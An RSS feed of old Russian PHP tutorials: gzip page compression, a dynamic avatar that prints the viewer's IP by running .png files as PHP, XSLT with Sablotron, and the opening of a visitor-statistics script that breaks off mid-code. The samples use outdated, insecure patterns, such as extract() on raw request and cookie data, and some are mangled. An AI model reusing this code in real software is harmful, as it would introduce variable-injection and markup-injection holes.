<?xml version='1.0' encoding='UTF-8'?>
<rss version='2.0'>
	<channel>
		<title>Shelek</title>
		<link>http://shelek.com</link>
		<description>портал программистов</description>
		<generator>Cotonti</generator>
		<language>ru</language>
		<pubDate>Mon, 09 Mar 2026 15:31:28 +0300</pubDate>

		<item>
			<title>Сжатие страниц на PHP</title>
			<description><![CDATA[Основное назначение скрипта - сжатие страниц, передаваемых сервером браузеру. У меня в среднем сжималось в 4 раза.<br />
<br />
Одно &quot;НО&quot;: Не ставьте уровень сжатия больше 3 - размер не уменьшится, а нагрузка на сервер - еще как.<br />
<br />
Скрипт используется следующим образом:<br />
<br />
&lt;?<br />
<br />
include('gzdoc.php');<br />
<br />
?&gt;<br />
<br />
&lt;HTML&gt;<br />
<br />
... the page ...<br />
<br />
&lt;/HTML&gt;<br />
<br />
&lt;?<br />
<br />
gzdocout();<br />
<br />
?&gt;<br />
<br />
gzdoc.php<br />
<br />
<br />
<br />
** |<br />
<br />
** |... the page ...<br />
<br />
** |<br />
<br />
** |<br />
<br />
** -------------End of file-----------<br />
<br />
*/<br />
<br />
ob_start();<br />
<br />
ob_implicit_flush(0);<br />
<br />
function CheckCanGzip(){<br />
<br />
global $HTTP_ACCEPT_ENCODING;<br />
<br />
if (headers_sent() || connection_aborted()){<br />
<br />
return 0;<br />
<br />
}<br />
<br />
if (strpos($HTTP_ACCEPT_ENCODING, 'x-gzip') !== false) return &quot;x-gzip&quot;;<br />
<br />
if (strpos($HTTP_ACCEPT_ENCODING, 'gzip') !== false) return &quot;gzip&quot;;<br />
<br />
return 0;<br />
<br />
}<br />
<br />
/* $level = compression level 0-9, 0=none, 9=max */<br />
<br />
function GzDocOut($level=3, $debug=0){<br />
<br />
$ENCODING = CheckCanGzip();<br />
<br />
if ($ENCODING){<br />
<br />
print &quot;\n\n&quot;;<br />
<br />
$Contents = ob_get_contents();<br />
<br />
ob_end_clean();<br />
<br />
if ($debug){<br />
<br />
$s = &quot;Not compress<br />
<br />
length: &quot;.strlen($Contents).&quot;; &quot;;<br />
<br />
$s .= &quot;Compressed length: &quot;.<br />
<br />
strlen(gzcompress($Contents, $level)).<br />
<br />
&quot;&quot;;<br />
<br />
$Contents .= $s;<br />
<br />
}<br />
<br />
header(&quot;Content-Encoding: $ENCODING&quot;);<br />
<br />
print &quot;\x1f\x8b\x08\x00\x00\x00\x00\x00&quot;;<br />
<br />
$Size = strlen($Contents);<br />
<br />
$Crc = crc32($Contents);<br />
<br />
$Contents = gzcompress($Contents, $level);<br />
<br />
$Contents = substr($Contents, 0, strlen($Contents) - 4);<br />
<br />
print $Contents;<br />
<br />
print pack('V', $Crc);<br />
<br />
print pack('V', $Size);<br />
<br />
exit;<br />
<br />
}else{<br />
<br />
ob_end_flush();<br />
<br />
exit;<br />
<br />
}<br />
<br />
}<br />
<br />
?&gt;]]></description>
			<pubDate>Sat, 27 Apr 2013 19:18:23 +0300</pubDate>
			<link><![CDATA[http://shelek.com/view/web/501]]></link>
		</item>
		<item>
			<title>Подпись или аватар на пхп</title>
			<description><![CDATA[Вступление<br />
##########<br />
<br />
Итак, Вы, возможно, хотите сделать подпись, в которой кроме вашего изображения и данных<br />
будут ещё и данные из заголовка HTTP запроса, например ip, браузер, провайдер или ось<br />
смотрящего сей баннер.<br />
Сделать это достаточно просто. Для этого необходимо:<br />
-хостинг с поддержкой PHP и .htaccess;<br />
-своя картинка;<br />
-прямые руки.<br />
Для этого не потребуются (хотя и приветствуются) зание PHP и наличие мозга в черепной<br />
коробке.<br />
<br />
Своя картинка<br />
#############<br />
<br />
Рисуем картинку/лого/аватор. Только поаккуратнее, и оставляем свободное место для текста,<br />
который будет выводить скрипт. Сохраняем в формате png под именем &quot;img.png&quot;.<br />
<br />
Скрипт<br />
######<br />
<br />
В файле с именем &quot;logo.png&quot; сохраняем нижеследующее:<br />
<br />
&lt;?php<br />
Header(&quot;Content-type: image/png&quot;);<br />
$string=&quot;Your IP is $REMOTE_ADDR&quot;;<br />
$im = ImageCreateFromPng(&quot;img.png&quot;);<br />
$c = ImageColorAllocate($im, 225, 225, 225);<br />
ImageString($im,3,75,43, $string,$c);<br />
ImagePng($im);<br />
ImageDestroy($im);<br />
?&gt;<br />
<br />
Теперь объясняю:<br />
<br />
&lt;?php<br />
<br />
Начало скрипта;<br />
<br />
Header(&quot;Content-type: image/png&quot;);<br />
<br />
А это сам текст, который будет выводиться.<br />
Сюда можно записаль любую переменную из хэдеров. В моём случае это $REMOTE_ADDR.<br />
<br />
$im = ImageCreateFromPng(&quot;img.png&quot;);<br />
<br />
Создаем картинку средствами PHP: img.png - ваша нарисованная картинка, узнали?<br />
<br />
$c = ImageColorAllocate($im, 225, 225, 225);<br />
<br />
Собственно, цвет. Три цифры - RGB. Красная, зеленая и синяя составляющии.<br />
<br />
ImageString($im,3,75, 43, $string,$c);<br />
<br />
обственно, пишем по картинке. Вторая переменная (3) - размер; третья (75) и<br />
четвертая (43) - расстояние от левого верхнего угла по горизонтали и вертикали,<br />
пятая ($string) - текст, шестая ($c) - цвет.<br />
<br />
ImagePng($im);<br />
<br />
Мы её выводим на экран.<br />
<br />
ImageDestroy($im);<br />
<br />
Ну теперь всё, уничтожаем, синтаксис требует =).<br />
<br />
?&gt;<br />
<br />
Конец скрипта.<br />
<br />
Хостинг<br />
#######<br />
<br />
Наилучшим результатом цена/качество из мною известных хостингов отличается<br />
Фатал.ру[ http://www.fatal.ru ] (правда с регистрацией там сейчас вроде как - вообще никак, поэтому юзаем подобные хосты).<br />
Зарегистриуйтесь, войдите по FTP, создайте папку (например logo) и залейте туда<br />
два файла. Картинку и скрипт.<br />
Теперь чтобы файлы с расширением png обрабатывались не как картинки, а как скрипты php, мы должны его настроить. Создаем файл blabla.txt и вписываете в него строку:<br />
AddType application/x-httpd-php .png<br />
Тоже заливаем его на сервер. Теперь переименовываем его в &quot;.htaccess&quot;.<br />
Он становится скрытым и больше не мешает.<br />
<br />
Заключение<br />
##########<br />
<br />
Всё, скрипт готов. Можно размещать в качестве аваторов/подписей на форумах или<br />
делать с ним то, для чего вы его делали.<br />
Но тут у вас простор для творчества: скриптик этот может обрабатывать c*****s,<br />
что поможет вам сделать что-то типа аваторки с бомбой, шнур которой будет уменьшаться или показывать текущее время. Короче думайте и творите!]]></description>
			<pubDate>Sat, 27 Apr 2013 19:18:04 +0300</pubDate>
			<link><![CDATA[http://shelek.com/view/web/500]]></link>
		</item>
		<item>
			<title>Преобразование XML + XSLT с помощью Sablotron</title>
			<description><![CDATA[Альтернативное введение в использование XSL Transformations в PHP при помощи Sablotron.<br />
<br />
Данный материал следует воспринимать как альтернативное введение в использование XSLT с Sablotron в PHP.<br />
<br />
Термины XSL и XSLT близки друг к другу, и новичкам их можно считать синонимами. Подробности, в чём же различия, описаны в спецификации XSL Transformations W3C.<br />
<br />
Все, кто интересовался возможностями XSLT, читал стандартный пример из мануала, либо примеры, приводимые в статьях, посвящённых XSLT, на разных сайтах. Работающий пример из этой же серии:<br />
<br />
&lt;?php<br />
<br />
$xmlData = '&lt;?xml version=&quot;1.0&quot; encoding=&quot;Windows-1251&quot;?&gt;<br />
&lt;document&gt;<br />
&lt;game&gt;<br />
&lt;title&gt;Railroad Tycoon II Platinum&lt;/title&gt;<br />
&lt;genre&gt;экономическая стратегия&lt;/genre&gt;<br />
&lt;designer&gt;PopTop software&lt;/designer&gt;<br />
&lt;publisher&gt;G.O.D. games&lt;/publisher&gt;<br />
&lt;year&gt;2001&lt;/year&gt;<br />
&lt;/game&gt;<br />
&lt;game&gt;<br />
&lt;title&gt;Grand Prix 4&lt;/title&gt;<br />
&lt;genre&gt;автосимулятор&lt;/genre&gt;<br />
&lt;designer&gt;Geoff Crammond &amp; Simergy&lt;/designer&gt;<br />
&lt;publisher&gt;Infogrames Entertainment&lt;/publisher&gt;<br />
&lt;year&gt;2002&lt;/year&gt;<br />
&lt;/game&gt;<br />
&lt;/document&gt;';<br />
<br />
$xslData = '&lt;?xml version=&quot;1.0&quot; encoding=&quot;windows-1251&quot;?&gt;<br />
&lt;!DOCTYPE xsl:stylesheet&gt;<br />
&lt;xsl:stylesheet version=&quot;1.0&quot; xmlns:xsl=&quot;http://www.w3.org/1999/XSL/Transform&quot;&gt;<br />
&lt;xsl:output method=&quot;html&quot; indent=&quot;yes&quot; encoding=&quot;Windows-1251&quot;/&gt;<br />
<br />
&lt;xsl:template match=&quot;/&quot;&gt;<br />
&lt;xsl:apply-templates/&gt;<br />
&lt;/xsl:template&gt;<br />
<br />
&lt;xsl:template match=&quot;document&quot;&gt;<br />
&lt;html&gt;&lt;head&gt;<br />
&lt;title&gt;Игры&lt;/title&gt;<br />
&lt;/head&gt;<br />
&lt;body&gt;<br />
&lt;h1&gt;Игры&lt;/h1&gt;<br />
&lt;table cellpadding=&quot;2&quot; cellspacing=&quot;2&quot; border=&quot;1&quot;&gt;<br />
&lt;tr&gt;<br />
&lt;td&gt;Название&lt;/td&gt;<br />
&lt;td&gt;жанр&lt;/td&gt;<br />
&lt;td&gt;год&lt;/td&gt;<br />
&lt;td&gt;разработчик&lt;/td&gt;<br />
&lt;td&gt;издатель&lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;xsl:apply-templates select=&quot;game&quot;/&gt;<br />
&lt;/table&gt;<br />
&lt;/body&gt;&lt;/html&gt;<br />
&lt;/xsl:template&gt;<br />
<br />
&lt;xsl:template match=&quot;game&quot;&gt;<br />
&lt;tr&gt;<br />
&lt;td&gt;&lt;b&gt;&lt;xsl:value-of select=&quot;title&quot;/&gt;&lt;/b&gt;&lt;/td&gt;<br />
&lt;td&gt;&lt;xsl:value-of select=&quot;genre&quot;/&gt;&lt;/td&gt;<br />
&lt;td&gt;&lt;xsl:value-of select=&quot;year&quot;/&gt;&lt;/td&gt;<br />
&lt;td&gt;&lt;xsl:value-of select=&quot;designer&quot;/&gt;&lt;/td&gt;<br />
&lt;td&gt;&lt;xsl:value-of select=&quot;publisher&quot;/&gt;&lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;/xsl:template&gt;<br />
<br />
&lt;/xsl:stylesheet&gt;';<br />
<br />
$xh = xslt_create();<br />
<br />
$arguments = array(<br />
'/_xml' =&gt; $xmlData,<br />
'/_xsl' =&gt; $xslData<br />
);<br />
<br />
$result = @xslt_process($xh, 'arg:/_xml', 'arg:/_xsl', NULL, $arguments);<br />
<br />
<br />
if ($result)<br />
print ($result);<br />
else {<br />
print (&quot;There was an error that occurred in the XSL transformation...\n&quot;);<br />
print (&quot;\tError number: &quot; . xslt_errno($xh) . &quot;\n&quot;);<br />
print (&quot;\tError string: &quot; . xslt_error($xh) . &quot;\n&quot;);<br />
exit;<br />
}<br />
<br />
?&gt;<br />
<br />
Подобных примеров в Сети полно. Все они хорошо показывают, что XSL-трансформация в php работает, но после их прочтения остаётся неясным, зачем XSL нужен, скорее даже наоборот — почему XSL не нужен.<br />
<br />
&quot;Действительно&quot;, — подумает читатель, — &quot;если данные лежат в базе, зачем городить огород, формируя сперва XML, а затем ещё преобразовывать через XSL? С тем же успехом это сделает класс HTML-шаблона.&quot;<br />
<br />
После этого разочарованный программист напрочь теряет интерес к XSL и вешает на технологию ярлык &quot;ненужная заумь&quot;.<br />
<br />
Вам, уважаемые читатели, повезло найти такой замечательный сайт, как &quot;php в деталях&quot;. Здесь вы прочитаете о том, что XSL может не только преобразовывать XML в HTML, но и то, как можно при помощи XSL облегчить работу с php-скриптами.<br />
<br />
Начало работы<br />
<br />
Приведённый выше пример, хоть и слишком прост, хорошо иллюстрирует, каким образом делается XSL-преобразование в php.<br />
<br />
Чтобы этот код работал, нужно установить XSLT-процессор Sablotron. На виндовой машине это делается так:<br />
<br />
1. положить iconv(-1.3).dll, expat.dll и sablot.dll в C:\windows\System (все файлы есть в стандартном дистрибутиве php)<br />
2. открыть C:\windows\php.ini и в нём найти параметр extension_dir. Если значение параметра — &quot;.&quot; или нечто вроде &quot;./&quot;, исправить на, скажем, &quot;f:\usr\local\php\extension&quot; (или адрес директории, в которой у вас лежат/будут лежать расширения php). Теперь это будет директория расширений php.<br />
3. положить в директорию расширений файл php_xslt.dll (это для php версии 4.2.x), либо php_sablot.dll (для версии 4.0.x)<br />
4. в php.ini раскомментируйте строчку extension=php_xslt.dll (4.2.x) или extension=php_sablot.dll (4.0.x)<br />
<br />
Теория<br />
<br />
Использование XSLT позволяет отделить от php-скриптов работу по форматированию и представлению данных. Это не только уменьшение объёма кода, но и вынос большого количества логических конструкций (if, else, switch), а следовательно, облегчение работы по написанию и отладке программ. Смею утверждать, что тот, кто не пробовал работать с XSLT, не представляет себе, насколько php-кодирование облегчится.<br />
<br />
Впрочем, не надо обольщаться: если у вас было несколько конструкций if ... else в php-скрипте, они, скорее всего, появятся в том же количестве в XSL-файле.<br />
<br />
Теперь к примерам.<br />
<br />
Вывод списков<br />
<br />
Все усложнения, происходящие от необходимости выводить список в удобочитаемом виде, переносятся на плечи XSL. Пример #2. Список статей на сайте с подсветкой статьи, которую читают сейчас, чередование цвета в строках и нумерация списка.<br />
<br />
XML:<br />
<br />
&lt;current-date&gt;2002-05-30&lt;/current-date&gt;<br />
<br />
&lt;list-article date=&quot;2002-10-03&quot;&gt;Ловля ошибок в PHP&lt;/list-article&gt;<br />
&lt;list-article date=&quot;2002-10-02&quot;&gt;Живой проект и мёртвый журнал&lt;/list-article&gt;<br />
&lt;list-article date=&quot;2002-06-03&quot;&gt;Работа с MySQL. Часть 7. Деревья&lt;/list-article&gt;<br />
&lt;list-article date=&quot;2002-05-30&quot;&gt;Ручная сортировка в веб-интерфейсе&lt;/list-article&gt;<br />
&lt;list-article date=&quot;2002-05-29&quot;&gt;Как поладить дизайнеру с программистом&lt;/list-article&gt;<br />
&lt;list-article date=&quot;2002-05-27&quot;&gt;Relax this is PHP&lt;/list-article&gt;<br />
<br />
XSLT:<br />
<br />
...<br />
&lt;table&gt;<br />
&lt;xsl:apply-templates select=&quot;list-article&quot;/&gt;<br />
&lt;/table&gt;<br />
...<br />
<br />
&lt;xsl:template match=&quot;list-article&quot;&gt;<br />
&lt;tr&gt;<br />
&lt;xsl:if test=&quot;position() mod 2 = 1&quot;&gt;<br />
&lt;xsl:attribute name=&quot;bgcolor&quot;&gt;#cccccc&lt;/xsl:attribute&gt;<br />
&lt;/xsl:if&gt;<br />
&lt;td&gt;<br />
&lt;xsl:value-of select=&quot;position()&quot;&gt;<br />
&lt;a href=http://shelek.com/&quot;/{@date}.htm&quot;&gt;&lt;xsl:value-of select=&quot;.&quot;/&gt;&lt;/a&gt;<br />
&lt;xsl:if test=&quot;@date = .. /current-date&quot;&gt;&amp;nbsp;&amp;lt;&lt;/xsl:if&gt;<br />
&lt;/td&gt;<br />
&lt;/tr&gt;<br />
&lt;/xsl:template&gt;<br />
<br />
Произвольная разметка<br />
<br />
Переводя на XML сайт с текстами (как этот), естественно хотеть сделать собственную разметку статей. Например, в контейнером important выделять очень важные места и иметь возможность выделять их не обязательно жирным шрифтом, но, может быть, цветом, CSS-стилем. Или писать цитаты как &lt;quote&gt;текст цитаты&lt;quote&gt; и иметь возможность менять стиль их оформления вместе с дизайном сайта.<br />
<br />
Медленно продвигаясь от самого простого первого примера, многие натыкаются на эту проблему и не могут найти решения. Ведь если выделить абзац в тег &lt;para&gt; и делать для него шаблон, на первый взгляд, существуют три способа вывода содержимого:<br />
<br />
1. тег xsl:value-of выводит текст, но удаляет все теги в абзаце<br />
2 .тег xsl:copy-of выводит копию всего содержимого (без возможности применять шаблоны к детям — внутренним тегам) и самого контейнера &lt;para&gt;...&lt;/para&gt; (что не очень красиво в HTML).<br />
3. наконец, xsl:apply-templates применит шаблоны к детям, но пропустит текст<br />
<br />
Проблема кажется безвыходной, но решение есть. Я использую &quot;магические&quot; шаблоны, которые выводят и текст и теги в нём со всеми атрибутами и без изменений. Пример #3:<br />
<br />
XML:<br />
<br />
&lt;text&gt;<br />
&lt;para&gt;Данный пример использует &lt;strong&gt;магические шаблоны&lt;/strong&gt;<br />
для разбора произвольной разметки. Это позволяет избежать таких жалоб:<br />
&lt;/para&gt;<br />
&lt;quote&gt;Люди, памажите сами мы не местные! Не могу вывести теги в тексте<br />
при помощи value-of!<br />
&lt;/quote&gt;<br />
&lt;hr/&gt;<br />
&lt;strong&gt;Запомните эти шаблоны раз и навсегда!&lt;/strong&gt;<br />
&lt;para&gt;Тогда вы сможете обрабатывать &lt;u&gt;любой&lt;/u&gt; &lt;a href=http://shelek.com/&quot;http://www.txt.ru&quot;&gt;текст&lt;/a&gt;<br />
Почти любой.<br />
&lt;/para&gt;<br />
&lt;/text&gt;<br />
<br />
XSLT:<br />
<br />
&lt;xsl:template match=&quot;text&quot;&gt;&lt;xsl:apply-templates/&gt;&lt;/xsl:template&gt;<br />
<br />
&lt;xsl:template match=&quot;strong&quot;&gt;<br />
&lt;font color=&quot;#cc0000&quot;&gt;&lt;b&gt;&lt;xsl:apply-templates/&gt;&lt;/b&gt;&lt;/font&gt;<br />
&lt;/xsl:template&gt;<br />
<br />
&lt;!-- три магических шаблона --&gt;<br />
&lt;!-- 1. общий --&gt;<br />
&lt;xsl:template match=&quot;*&quot;&gt;<br />
&lt;xsl:copy&gt;<br />
&lt;xsl:apply-templates select=&quot;@*&quot; /&gt;<br />
&lt;xsl:apply-templates/&gt;<br />
&lt;/xsl:copy&gt;<br />
&lt;/xsl:template&gt;<br />
<br />
&lt;!-- 2. для текста --&gt;<br />
&lt;xsl:template match=&quot;text()&quot;&gt;<br />
&lt;xsl:value-of select=&quot;.&quot; disable-output-escaping=&quot;yes&quot;/&gt;<br />
&lt;/xsl:template&gt;<br />
<br />
&lt;!-- 3. для тегов и аттрибутов --&gt;<br />
&lt;xsl:template match=&quot;@*|node()&quot;&gt;<br />
&lt;xsl:copy&gt;<br />
&lt;xsl:apply-templates select=&quot;@*|node()&quot;/&gt;<br />
&lt;/xsl:copy&gt;<br />
&lt;/xsl:template&gt;<br />
<br />
Первым делом XSLT-процессор при вызове инструкции apply-templates ищет шаблон для каждого элемента. Для элемента strong шаблон есть, и именно в соответствии с ним такие элементы будут обработаны. Для гиперссылки шаблона нет, поэтому она будет выведена, как есть. Можно добавить в XSL шаблон и для ссылки, который бы выводил рядом с каждой текстовой ссылкой картинку для открытия её в новом окне:<br />
<br />
&lt;xsl:template match=&quot;a[@href]&quot;&gt;<br />
&lt;xsl:copy-of select=&quot;.&quot;/&gt; &lt;a href=http://shelek.com/&quot;{@href}&quot;<br />
target=&quot;_blank&quot;&gt;&lt;img src=http://shelek.com/&quot;/window.gif&quot; width=&quot;15&quot; height=&quot;15&quot;<br />
alt=&quot;открыть в новом окне&quot;/&gt;&lt;/a&gt;<br />
&lt;/xsl:template&gt;<br />
<br />
* в шаблоне использован параметр match=&quot;a[@href]&quot; — этот шаблон будет применён только к тем тегам ссылок, в которых есть поле href и пропустит якоря (&lt;a name=&quot;xxx&quot;&gt;&lt;/a&gt;).<br />
<br />
Невалидный код и <br />
<br />
Кажущаяся необходимость писать валидный XML-код так же отпугивает многих неофитов XSLT. Хорошо, с завтрашнего дня будем писать статьи только валидно, благо дома можно проверить, нет ли в тексте XML-ошибки — mismatched tag или invalid token, — с этим как-нибудь справимся. Но ведь, по-хорошему, нужно и весь архив перевести в валидный код! И я так тоже думал, когда появилась возможность переделывать сайт на XML.<br />
<br />
Решение проблемы довольно простое: не хочешь — не пиши валидно. Пиши, как привык, — без кавычек в атрибутах тегов, используй простой &lt;br&gt; и прочее. Достаточно заключить текст в контейнер &lt;![CDATA[ ... ]]&gt; (пример ниже).<br />
<br />
Что касается &amp;nbsp;, то здесь дела такие: элемента nbsp в XML нет. Есть lt, gt, quot, но не nbsp (вполне логично — это ведь non-braking space, который относится к форматированию и придуман для HTML). Поэтому его нужно объявить в документе, либо использовать только внутри &lt;![CDATA[...]]&gt;.<br />
<br />
Пример #4:<br />
<br />
XML:<br />
<br />
&lt;text&gt;<br />
&lt;bad-markup&gt;&lt;![CDATA[В этом &lt;a href=http://detail.phpclub.net&gt;тексте&lt;/a&gt; применена<br />
невалидная разметка. &lt;br&gt; И ничего страшного.]]&gt;&lt;/bad-markup&gt;<br />
&lt;quote&gt;Люди, памажите, сами мы не местные!&lt;/quote&gt;<br />
&lt;hr/&gt;<br />
&lt;strong&gt;Запомните и эти шаблоны тоже!&lt;/strong&gt;<br />
&lt;/text&gt;<br />
<br />
XSLT:<br />
<br />
&lt;xsl:template match=&quot;text&quot;&gt;&lt;![CDATA[ &gt;&gt;&gt; и в XSL можно делать то же самое! &lt;&lt;&lt; ]]&gt;<br />
&lt;xsl:apply-templates/&gt;&lt;/xsl:template&gt;<br />
<br />
&lt;xsl:template match=&quot;bad-markup&quot;&gt;<br />
&lt;xsl:value-of select=&quot;.&quot; disable-output-escaping=&quot;yes&quot;/&gt;<br />
&lt;/xsl:template&gt;<br />
<br />
&lt;xsl:template match=&quot;*&quot;&gt;<br />
&lt;xsl:copy&gt;<br />
&lt;xsl:apply-templates select=&quot;@*&quot; /&gt;<br />
&lt;xsl:apply-templates/&gt;<br />
&lt;/xsl:copy&gt;<br />
&lt;/xsl:template&gt;<br />
<br />
&lt;xsl:template match=&quot;text()&quot;&gt;<br />
&lt;xsl:value-of select=&quot;.&quot; disable-output-escaping=&quot;yes&quot;/&gt;<br />
&lt;/xsl:template&gt;<br />
<br />
&lt;xsl:template match=&quot;@*|node()&quot;&gt;<br />
&lt;xsl:copy&gt;<br />
&lt;xsl:apply-templates select=&quot;@*|node()&quot;/&gt;<br />
&lt;/xsl:copy&gt;<br />
&lt;/xsl:template&gt;<br />
<br />
Очень удобно! Большие изменения в архив вносить не придётся. Можно начать писать валидно, а продолжать как попало. А можно комбинировать эти два подхода. Чтобы не писать в архивные файлы тег CDATA, я сделал простое преобразование при помощи регулярных выражений (важно так же помнить, что один тег CDATA не должен содержать в себе другой).<br />
<br />
$doc = preg_replace(&quot;~&lt;(p|h[1-3]|pre)&gt;(.*?)&lt;/\\1&gt;~&quot;, &quot;&lt;\\1&gt;\\2&lt;/\\1&gt;&quot;, $doc);<br />
<br />
Циклы<br />
<br />
Допустим, нам нужно сделать форму для редактирования статьи, в том числе её даты. Для удобства пользования надо сделать три раскрывающихся списка (далее — &quot;крутилки&quot;) — дата от 1 до 31, месяц, год. Первое решение, которое приходит в голову — сделать HTML-код крутилок в php, вставить в XML в контейнере CDATA, а затем вывести в XSL с параметром disable-output-escaping=&quot;yes&quot;.<br />
<br />
На самом деле, XSLT может и это. Достаточно вставить в данные XML число, номер месяца и год. Крутилки можно нарисовать сразу в XSLT.<br />
<br />
Напишем шаблон, не предназначенный ни для какого элемента документа. Он будет вызываться командой xsl:call-template и получать два параметра: значение счётчика и максимум. Сперва он будет выводить нужные нам данные со значением счётчика, затем вызывать самого себя с параметрами максимум и счётчик, увеличенный на 1. Пример #5:<br />
<br />
XML:<br />
<br />
&lt;month-name&gt;Февраль&lt;/month-name&gt;<br />
&lt;month-name&gt;Март&lt;/month-name&gt;<br />
&lt;month-name&gt;Апрель&lt;/month-name&gt;<br />
&lt;month-name&gt;Май&lt;/month-name&gt;<br />
&lt;month-name&gt;Июнь&lt;/month-name&gt;<br />
&lt;month-name&gt;Июль&lt;/month-name&gt;<br />
&lt;month-name&gt;Август&lt;/month-name&gt;<br />
&lt;month-name&gt;Сентябрь&lt;/month-name&gt;<br />
&lt;month-name&gt;Октябрь&lt;/month-name&gt;<br />
&lt;month-name&gt;Ноябрь&lt;/month-name&gt;<br />
&lt;month-name&gt;Декабрь&lt;/month-name&gt;<br />
<br />
&lt;article&gt;<br />
...<br />
&lt;day&gt;7&lt;/day&gt;<br />
&lt;month&gt;10&lt;/month&gt;<br />
&lt;year&gt;2002&lt;/year&gt;<br />
&lt;/article&gt;<br />
<br />
XSLT:<br />
<br />
&lt;xsl:template match=&quot;article&quot;&gt;<br />
...<br />
&lt;select name=&quot;d&quot;&gt;<br />
&lt;xsl:call-template name=&quot;day&quot;&gt;<br />
&lt;xsl:with-param name=&quot;count&quot;&gt;1&lt;/xsl:with-param&gt;<br />
&lt;/xsl:call-template&gt;<br />
&lt;/select&gt;<br />
&lt;select name=&quot;m&quot;&gt;<br />
&lt;xsl:call-template name=&quot;month&quot;&gt;<br />
&lt;xsl:with-param name=&quot;count&quot;&gt;1&lt;/xsl:with-param&gt;<br />
&lt;/xsl:call-template&gt;<br />
&lt;/select&gt;<br />
...<br />
&lt;/xsl:template&gt;<br />
<br />
&lt;xsl:template name=&quot;day&quot;&gt;<br />
&lt;xsl:param name=&quot;count&quot;/&gt;<br />
&lt;option value=&quot;{$count}&quot;&gt;<br />
&lt;xsl:if test=&quot;$count = //artcile/day&quot;&gt;<br />
&lt;xsl:attribute name=&quot;selected&quot;&gt;yes&lt;/xsl:attribute&gt;<br />
&lt;xsl:if&gt;<br />
&lt;xsl:value-of select=&quot;$count&quot;/&gt;<br />
&lt;/option&gt;<br />
&lt;xsl:if test=&quot;$count &amp;lt; 31&quot;&gt;<br />
&lt;xsl:call-template name=&quot;day&quot;&gt;<br />
&lt;xsl:with-param name=&quot;count&quot;&gt;<br />
&lt;xsl:value-of select=&quot;$count + 1&quot;/&gt;<br />
&lt;/xsl:with-param&gt;<br />
&lt;/xsl:call-template&gt;<br />
&lt;/xsl:if&gt;<br />
&lt;/xsl:template&gt;<br />
<br />
&lt;xsl:template name=&quot;month&quot;&gt;<br />
&lt;xsl:param name=&quot;count&quot;/&gt;<br />
&lt;option value=&quot;{$count}&quot;&gt;<br />
&lt;xsl:if test=&quot;$count = //artcile/month&quot;&gt;<br />
&lt;xsl:attribute name=&quot;selected&quot;&gt;yes&lt;/xsl:attribute&gt;<br />
&lt;xsl:if&gt;<br />
&lt;xsl:value-of select=&quot;//month-name[position() = $count]&quot;/&gt;<br />
&lt;/option&gt;<br />
&lt;xsl:if test=&quot;$count &amp;lt; 12&quot;&gt;<br />
&lt;xsl:call-template name=&quot;month&quot;&gt;<br />
&lt;xsl:with-param name=&quot;count&quot;&gt;<br />
&lt;xsl:value-of select=&quot;$count + 1&quot;/&gt;<br />
&lt;/xsl:with-param&gt;<br />
&lt;/xsl:call-template&gt;<br />
&lt;/xsl:if&gt;<br />
&lt;/xsl:template&gt;<br />
<br />
Оставляю вам в качестве домашнего задания шаблон для вывода крутилки с годом.<br />
<br />
Резюме<br />
<br />
Как видите, многое из того, что пишется в php-скриптах, даже при использовании класса шаблона, можно успешно спустить в XSLT. Но стОит ли заниматься этим?<br />
<br />
Ответ зависит от условий работы в вашем проекте. Второй момент — технологичность работы.<br />
<br />
Допустим, я захочу сделать на этом сайте меню быстрой навигации — раскрывающийся список со всеми статьями, — чтобы пользователь мог выбрать статью из списка и сразу перейти к ней. Ещё я захочу оставить список последних материалов (сейчас он находится справа вверху).<br />
<br />
Если делать это при помощи класса шаблона типа FastTemplate, нужно два специальных блока и дополнительный код в php, который бы объявлял в шаблоне блок для списка всех статей и отдельно блок для списка 10 последних. Аналогичные действия необходимы в таком случае и при работе без класса шаблона. При работе с XML достаточно всего лишь одного набора данных &quot;Дата =&gt; Статья&quot;, из которого в XSL-документе строятся и листбокс быстрого перехода, и список последних статей.<br />
<br />
А если вдруг понадобится неважно для чего сделать другое оформление сайта (например, версия для WAP, или просто редизайн), в котором будет решено отказаться от списка 10 последних материалов. В случае первых двух технологий — класс шаблона и смешанный код — нужно будет убрать часть php кода, в случае XSLT изменения коснутся только XSL-файла. Такой процесс более технологичен, поскольку невозможно сделать новые ошибки в php-скриптах (а теперь представьте обратный случай — списка 10 последних статей не было, но его решили добавить!).<br />
<br />
Итак, выбор остаётся за вами, а я как мог привёл сильные стороны технологии и доводы в пользу использования XML в проектах.]]></description>
			<pubDate>Sat, 27 Apr 2013 19:17:40 +0300</pubDate>
			<link><![CDATA[http://shelek.com/view/web/499]]></link>
		</item>
		<item>
			<title>Сбор статистики на PHP</title>
			<description><![CDATA[Статистические сведения о посетителях сайта приносят не мало пользы. По статистике можно подогнать дизайн сайта в соответствии с разрешением большинства посетителей, подогнать дизайн к браузеру, на котором приходят большая часть посетителей да и просто интересно, кто заглядывает к вам на сайт, из под какой OC, а может это поисковый робот яндекса или гугла? Хотя некоторые системы слежения за посетителями бывают черезвычайно сложными, но с помощью довольно простой системы можно получить любопытные сведения о посетителях сайта. Я покажу как сделать с виду простой журнал посещений сайта с помощью PHP и cookies (MySQL не требуется). К тому же мой пример можно легко расширить.<br />
<br />
Для того, что бы система работала, нужно скрипт статистики встроить в каждую страницу. Ну или в те страницы, статистику посещений которых вы хотите увидеть. Наш скрипт будет записывать следующие данные:<br />
<br />
* Браузер + OC (HTTP_USER_AGENT)<br />
* IP адрес (REMOTE_ADDR)<br />
* Хост (REMOTE_HOST)<br />
* Страницу-рефферер (HTTP_REFERER)<br />
* Время визита (date(&quot;d.m.Y H:i:s&quot;))<br />
* Запрашиваемый адрес (REQUEST_URI)<br />
<br />
<br />
Даже эти данные, я думаю, будут весьма интересны веб-мастерам. Итак, начнем. Скрипт будет называться sniffer.php. Я приведу текст всего скрипта и дополню это обильными комментариями:<br />
<br />
&lt;?php<br />
<br />
//sniffer.php<br />
<br />
//защита от непосредственного запуска<br />
<br />
//скрипта кем то посторонним<br />
<br />
if (eregi(&quot;sniffer.php&quot;,$PHP_SELF)) {<br />
<br />
Header(&quot;Location: index.php&quot;);<br />
<br />
die();<br />
<br />
}<br />
<br />
extract($HTTP_GET_VARS);<br />
<br />
extract($HTTP_POST_VARS);<br />
<br />
extract($HTTP_COOKIE_VARS);<br />
<br />
extract($HTTP_SERVER_VARS);<br />
<br />
//этот фрагмент кода был позаимствован<br />
<br />
//из системы PHP Nuke ;)<br />
<br />
//далее объявляю переменные<br />
<br />
